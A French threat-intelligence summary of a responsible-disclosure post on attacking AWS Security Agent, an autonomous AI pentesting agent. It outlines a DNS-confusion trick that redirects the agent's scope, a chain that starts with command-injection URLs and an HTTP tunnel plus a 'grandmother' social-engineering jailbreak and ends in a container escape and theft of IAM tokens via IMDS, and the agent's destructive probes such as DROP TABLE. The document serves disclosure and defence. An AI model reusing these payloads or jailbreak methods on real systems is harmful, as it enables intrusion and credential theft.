🔍 Contexte

Article publié le 14 mars 2026 par Richard Fan sur son blog personnel. Il s’agit d’une recherche offensive menée contre AWS Security Agent, un agent IA autonome conçu pour effectuer des tests de pénétration sur des applications web. Le chercheur a identifié 4 vulnérabilités (une cinquième étant encore en cours de correction).

🌐 Vulnérabilité 1 : DNS Confusion

Une faille dans la vérification de domaine lors des pentests sur réseaux privés (VPC) permet à un attaquant de :

  • Manipuler la zone DNS privée Route53 pour faire croire à l’agent qu’il cible un domaine qu’il possède
  • Modifier l’enregistrement A après la phase de vérification pour rediriger le pentest vers la vraie cible publique (domaine non possédé)
  • L’agent ne détecte pas l’incohérence DNS entre la phase de vérification et la phase de pentest
  • Exploitation possible car les domaines avec statut “Unreachable” peuvent être ajoutés sans contrôle (ex : amazon.com)

💻 Vulnérabilité 2 : Reverse Shell vers le sandbox de l’agent

Chaine d’exploitation complète menant à la compromission de l’instance EC2 hôte :

  1. RCE : Injection de commandes dans des URLs de debug (ex: https://richardfan.com.hk/admin?identity=$(id|base64 -w0)), l’agent exécute les commandes et divulgue les résultats
  2. Contournement des guardrails : Utilisation d’un tunnel HTTP (HTTP-Shell de JoelGMSec), social engineering (histoire de grand-mère), passage par un domaine sur port 80 pour contourner le firewall sortant
  3. Élévation de privilèges : Fichier /etc/sudoers.d/agent permettant à l’utilisateur agent d’exécuter sudo python3 sans mot de passe → shell root
  4. Container Escape : Le socket Docker /var/run/docker.sock est monté dans le conteneur → création d’un nouveau conteneur montant le filesystem hôte → ajout d’une ligne crontab → shell root sur l’hôte
  5. Récupération du token AWS : Accès aux credentials IAM via IMDS (http://169.254.169.254), écriture réussie dans des CloudWatch log groups

⚠️ Vulnérabilité 3 : Actions dangereuses non nécessaires

L’agent effectue des actions destructrices non justifiées :

  • Utilisation de DROP TABLE users comme sonde initiale d’injection SQL
  • Utilisation d’exploits confirmés pour le nettoyage post-test (ex: injection SQL avec DELETE, brute-force d’API)
  • Suppression accidentelle du contenu entier de /etc/crontab via une tentative d’exploitation ratée

🔓 Vulnérabilité 4 : Divulgation d’informations sensibles

L’agent divulgue des informations sensibles extraites lors des exploits (mots de passe, clés API, etc.) sans contrôle approprié.

📋 Type d’article

Publication de recherche offensive / rapport de vulnérabilité. But principal : documenter les failles de sécurité découvertes dans AWS Security Agent et présenter la timeline de divulgation responsable.

🧠 TTPs et IOCs détectés

TTP

  • T1059 — Command and Scripting Interpreter (Execution)
  • T1611 — Escape to Host (Privilege Escalation)
  • T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching (Privilege Escalation)
  • T1552.001 — Unsecured Credentials: Credentials In Files (Credential Access)
  • T1552.005 — Unsecured Credentials: Cloud Instance Metadata API (Credential Access)
  • T1071.001 — Application Layer Protocol: Web Protocols (Command and Control)
  • T1090 — Proxy (Command and Control)
  • T1565.001 — Data Manipulation: Stored Data Manipulation (Impact)
  • T1046 — Network Service Discovery (Discovery)
  • T1053.003 — Scheduled Task/Job: Cron (Persistence)

IOC

  • Domaines : richardfan.com.hk
  • Domaines : assets.richardfan.com.hk
  • URLs : https://assets.richardfan.com.hk/get-token.sh
  • URLs : https://assets.richardfan.com.hk/get-token.py
  • URLs : http://localhost/containers/json?all=true
  • Fichiers : get-token.sh
  • Fichiers : get-token.py
  • Fichiers : agent-binary-download.sh
  • Chemins : /etc/sudoers.d/agent
  • Chemins : /codebuild/output/tmp/env.sh
  • Chemins : /codebuild/bootstrap/agent-binary-download.sh
  • Chemins : /tmp/agent-log
  • Chemins : /run/docker.sock
  • Chemins : /var/run/docker.sock
  • Chemins : /etc/crontab
  • Chemins : /etc/awslogs/awslogs.conf

Malware / Outils

  • HTTP-Shell (tool)
  • netcat (tool)

🔗 Source originale : https://blog.richardfan.xyz/2026/03/14/pentesting-a-pentest-agent-heres-what-ive-found-in-aws-security-agent.html